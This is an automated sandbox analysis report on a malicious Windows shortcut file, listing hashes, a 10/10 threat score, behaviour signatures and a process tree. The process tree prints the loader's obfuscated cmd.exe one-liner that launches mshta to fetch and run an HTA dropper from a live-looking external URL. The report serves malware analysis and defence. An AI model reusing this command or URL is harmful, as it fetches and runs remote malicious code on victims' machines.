Analysis
- max time kernel
148s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:36
Static task
static1
Behavioral task
behavioral1
Sample
DOC-NKH7TA.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-NKH7TA.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
150 seconds
General
- Target DOC-NKH7TA.lnk
- Size 1KB
- Sample260803-qwc63aad39
- SHA256 785825dfe3a98c0eaffc4305448cfee67f80cde36228e576f2e54505d2c2c674
- MD5 b27d59e05048e7293949d65ee8028396
- SHA1 84031e3110d2190fbfcb2058f513a083b3a6afe8
- SHA512 e12c98ad877e9362f5608865303e447f78d0477c75d0e0b773706bd208035e36e5078b77853142da2444069dc84d6ec965f32c1bf05fe3d73b063a45d4d1996f
- TLSH T1D6317B503FF90A14F3F78F7394BB6B2085BBB99AAE21C61D01514A4C5432A14E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4748 cmd.exe 4680 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4748 wrote to memory of 4680 4748 cmd.exe 90 PID 4680 wrote to memory of 2220 4680 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NKH7TA.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set Pnqbs=msh&&set gb=ta&&start "" !Pnqbs!!gb! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:2220
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